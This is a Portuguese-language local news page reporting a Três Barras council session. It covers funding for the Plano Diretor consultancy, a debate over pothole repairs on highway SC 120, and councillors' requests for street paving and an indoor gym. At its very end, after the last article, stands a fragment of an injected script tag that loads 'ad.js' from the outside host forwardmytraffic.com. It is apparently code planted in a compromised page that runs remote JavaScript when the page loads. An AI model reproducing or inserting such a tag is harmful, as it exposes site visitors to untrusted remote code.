Vereadores aprovam recursos para projeto do Plano Diretor
As comissões apontaram para a necessidade do planejamento nas políticas públicas.
Os vereadores de Três Barras aprovaram por unanimidade o projeto de lei que autoriza o município a contratar empresa para realizar consultoria no Plano Diretor. Pelo texto o executivo poderá investir até r$ 150 mil reais nos projetos. A aprovação ocorreu na sessão da última segunda-feira, 06. A lei vai à sanção.
De acordo com o texto do projeto de 23/2018, fica autorizado o executivo municipal a contratar empresa de consultoria para elaboração de estudos e projetos para execução do Plano Diretor do Município, no valor de até R$ 150 mil reais, com possíveis suplementações por decreto. Com a ação o município poderá viabilizar os projetos viários, de urbanização e ocupação do solo em Três Barras para os próximos anos.
As comissões apontaram para a necessidade do planejamento nas políticas públicas e assim deram parecer favorável a respeito da pauta, apontando, esse, como o primeiro passo para as resoluções de problemas mais complexos em Três Barras.
O que é o Plano Diretor?
O plano diretor é um instrumento da política urbana instituído pela Constituição Federal de 1988, que o define como “instrumento básico da política de desenvolvimento e de expansão urbana.”, e é regulamentado pela Lei Federal n.º10.257/01, mais conhecida como Estatuto da Cidade, pelo Código Florestal (Lei n.º4.771/65) e pela Lei de Parcelamento do Solo Urbano (Lei n.º 6.766/79).
A Constituição passa aos municípios, através do plano diretor, a obrigação de definir a função social da propriedade e ainda a delimitação e fiscalização das áreas subutilizadas, sujeitando-as ao parcelamento ou edificação compulsórios, ou ainda, à desapropriação com pagamento de títulos e cobrança de IPTU progressivo no tempo.
Assim, o planejamento urbano deve ir além dos aspectos físicos e territoriais, encarando o ordenamento do território como um meio para cumprir objetivos maiores, a citar:
Garantia do direito à terra urbana, à moradia, ao saneamento ambiental, à infraestrutura urbana, ao transporte e aos serviços públicos, ao trabalho e ao lazer, para as presentes e futuras gerações; Oferta de equipamentos urbanos e comunitários, transporte e serviços públicos adequados aos interesses e necessidades da população e às características locais; Evitar e corrigir as distorções do crescimento urbano e seus efeitos negativos sobre o meio ambiente.
Apesar de aprovação, projeto que autoriza tapa buracos em SC 120 tem longa discussão
Vereadores apreciaram em definitivo a matéria na sessão da última segunda-feira, 06
Foi aprovado na última segunda-feira, 06, o projeto de lei que autoriza o município a realizar a manutenção e operação tapa-buracos na rodovia SC 120, que liga a sede de Três Barras à BR 280. Apesar de ter apoio unânime dos edis, causou polêmica e gerou uma longa discussão durante a sessão. Ainda assim, vai à sanção.
Pelo texto, apesar da rodovia ser de responsabilidade estadual, fica o executivo autorizado a proceder com uma operação tapa buracos a fim de possibilitar o escoamento da produção e melhorar o tráfego para os munícipes. O projeto também autoriza o município a proceder com a colocação de tubos e construir as galerias pluviais, a fim de facilitar o escoamento das águas do Rio Barra Grande e assim evitar eventuais enxurradas em dias de chuva forte.
O vereador João Canani (PSB) já havia apresentado indicação pedindo uma solução para a rodovia que encontra-se esburacada: “Logo que o Salvatti – ex secretário regional de Canoinhas – assumiu, nós fomos pedir a manutenção e conseguimos, mas, as canaletas ainda ficaram entupidas, aí em dia de chuva a água empoça e pode provocar acidentes, pra não falar do mato que está tomando o acostamento, não pode ficar desse jeito”, defendeu o projeto na tribuna.
Discussão:
Ao discutir a matéria e apesar de anunciar o voto favorável, o vereador Marco Antônio de Souza, Gorguinho (MDB), afirmou que o mesmo projeto já havia entrado em tramitação, mas que foi retirado pelo executivo devido um problema no texto, que transferia para o município a responsabilidade da manutenção da SC: “esse texto que estamos aprovando hoje, autoriza apenas uma manutenção”, destacou.
Gorguinho citou que a responsabilidade de manutenção na SC 120 “é do estado”, destacando que o governo tem deixado a desejar: “o caos nas rodovias estaduais é geral”, alfinetou. O vereador ainda enviou um recado ao executivo: “Espero que o prefeito não use essa manutenção como desculpa para não dar manutenção nas vias municipais, que são de responsabilidade do executivo, a Avenida Rigesa não tem nem pintura”, relembrou.
Já a vereadora Carla Shimoguiri (PTB) defendeu o projeto de lei: “apesar de a responsabilidade ser do estado, o município tem uma autorização para fazer a manutenção, o executivo quer dar mais segurança a quem trafega pelo local, e também, uma rodovia bem cuidada atrai mais investimentos para a cidade” garantiu.
O vereador Ernani JR (PSB), apesar de concordar parcialmente com a alegação de Gorguinho, defendeu o texto, afirmando que “estamos votando a favor porque acreditamos que o prefeito irá proceder com a manutenção, é um voto de confiança” registrou. “O prefeito não está sendo omisso frente a um relaxo do Governo do Estado”, enalteceu.
Para o vereador Laudecir José Gonçalves, o Barriga (PR), afirmou que a atitude do prefeito é “louvável”. Sem tirar o mérito das palavras de Gorguinho, Barriga ainda disse que o “prefeito tem dado atenção nas ruas da cidade e que ainda bem que o município tem dinheiro para fazer”, defendeu.
Edenilson Enguel (PSD), também comentou o tema e parabenizou a atitude do prefeito: “a entrada de nossa cidade está feia, e sei que na medida do possível as coisas estão acontecendo”, ao registrar-se favorável a demanda.
Vereador solicita término da pavimentação da Rua João Manuel Sardá, na sede
Ernani Wogeinaki Jr (PSB) apresentou indicação na sessão da última segunda-feira, 06
A infra-estrutura tomou conta das discussões da sessão da última segunda-feira, 06. Nesse contexto, o vereador Ernani Wogeinaki Jr (PSB), apresentou indicação solicitando a conclusão da pavimentação da Rua João Manuel Sardá, no quilômetro 02, na sede do município. O documento foi enviado ao executivo.
A Rua João Manuel Sardá, tem trajeto que inicia na Avenida Rigesa, nas proximidades do acesso principal do Ginásio Municipal Ione Ciríaco de Souza com extensão até as proximidades da SC 120, já próxima a região interiorana. É uma importante via de acesso, pro exemplo, ao Hospital Felix da Costa Gomes e ao Pronto Atendimento Municipal.
Nas gestões anteriores, foram anunciadas a pavimentação de trechos desta rua, porém, o trajeto completo nunca foi concluído, incluindo a parte da via que fica em frente a unidade de saúde.
Cerca de 300 metros de asfalto encerram a construção completa.
Vereadora pede instalação de academia no Distrito de São Cristóvão
Carla Shimoguiri argumentou que também é necessário o acompanhamento de um profissional de educação física.
A vereadora Carla Shimoguiri (PTB), solicitou que o executivo realize a instalação de uma academia em espaço fechado, com acompanhamento profissional no Distrito do são Cristóvão. A intenção seria incentivar a prática da atividade física. O texto foi apresentado via indicação, na sessão da última segunda-feira, 06.
De acordo com Carla, “é preciso pensar em prevenção, em saúde, e é nesse sentido que solicito a estrutura”, na localidade. Para ela, o distrito que já não possui a estrutura, ainda tem que enfrentar questões sociais: “nem todo mundo consegue pagar por uma academia” defendeu ao justificar a importância da obra pública.
A vereadora tembém destacou que o distrito já conta com equipamentos ao ar livre, porém que as condições climáticas acabam por desestimular as pessoas: “na nossa região é muito frio, tem muita umidade, um espaço fechado vai motivar mais a prática das atividades físicas”, finalizou.
O texto foi enviado ao executivo municipal…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>
